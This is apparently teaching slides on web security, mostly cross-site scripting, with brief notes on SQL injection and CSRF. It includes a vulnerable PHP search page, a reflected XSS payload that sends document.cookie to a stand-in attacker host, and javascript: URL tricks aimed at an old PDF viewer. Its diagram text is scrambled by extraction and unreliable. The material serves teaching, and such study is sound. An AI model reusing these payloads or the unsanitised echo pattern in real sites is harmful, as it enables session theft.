Module6 3
Module6 3
3
Cross Site Scripting
XSS
Three top web site vulnerabilites
SQL Injection
Browser sends malicious input to server
Attackers malicious code
Bad input checking leads
executed to malicious
on victim server SQL query
CSRF Cross-site request forgery
Bad web site sends request to good web site,
Attacker site forges request from
using credentials of an innocent
victim browser victim who
to victim server
visits site
XSS Cross-site scripting
Attackers
Bad web site sends malicious victim
innocent code a script that
executed on victim browser
steals information from an honest web site
Basic scenario: reflected XSS
attack
Attack Server
w e b site
t
1 visi
o u s link
e m alici
eiv
2 rec l e data
d va luab
5 sen
3
Victim client clic
4 k on
ech link
o use
r in Victim Server
put
XSS example: vulnerable
site
search field on victim.com:
http://victim.com/search.php ? term
= apple
Server-side implementation of
search.php:
<HTML> <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> term
echo search :
. . . into response
Bad input
Consider link: (properly URL encoded)
http://victim.com/search.php ? term =
<script> window.open(
http://badguy.com?cookie = +
document.cookie ) </script>
ba d li n k
se r gets
u
www.attacker.com
http://victim.com/search.php ?
term = <script> ... </script>
use
r clic
Victim client ks o
n lin
vict k
im
ech
oes
us e
r in
put Victim Server
www.victim.com
<html>
Results for
<script>
window.open(http://attacker.com?
... document.cookie ...)
</script>
</html>
What is XSS?
An XSS vulnerability is present when an
attacker can inject scripting code into
pages generated by a web application
Methods for injecting malicious code:
Reflected XSS (type 1)
the attack script is reflected back to the user as part
of a page from the victim site
Stored XSS (type 2)
the attacker stores the malicious code in a resource
managed by the web application, such as a database
Others, such as DOM-based attacks
Basic scenario: reflected XSS
attack
a i l addr Attack Server
Email version ct em
o l l e
1 C
e m ail
s
m a liciou
nd
2 se l e d ata
d va luab
5 sen
3
User Victim clic
4 k on
ech link
o use
r in Server Victim
put
2006 Example
Vulnerability
Attackers contacted users via email and fooled them into
accessing a particular URL hosted on the legitimate PayPal
website.
Injected code redirected PayPal visitors to a page warning
users their accounts had been compromised.
Victims were then redirected to a phishing site and
prompted to enter sensitive financial data.
Source: http://www.acunetix.com/news/paypal.htm
Adobe PDF viewer feature
(version <= 7.9)
http://website.com/path/to/file.pdf#s=javascript:alert(
xss);)
Attacker entices a victim to click on the link
If the victim has Adobe Acrobat Reader Plugin
7.0.x or less, confirmed in Firefox and Internet
Explorer, the JavaScript Malware executes
file:///C:/Program%20Files/Adobe/Acrobat
%207.0/Resource/ENUtxt.pdf#blah=javasc
ript:alert("XSS");
l e data
d va luab
5 sen
3
User Victim clic
4 k on
ech link
o use
r in Server Victim
put
Reflect it back
Stored XSS
Attack Server
bl e data
eal v alua
4 st
1
Inject
malicious
2 re
User Victim que script
Store bad stuf
3 re st c
ceiv o nt
en t
em
alic Server Victim
i o us
scri
pt
Download it
MySpace.com (Samy worm)
HTTP/1.1 200 OK
Content-Type: image/jpeg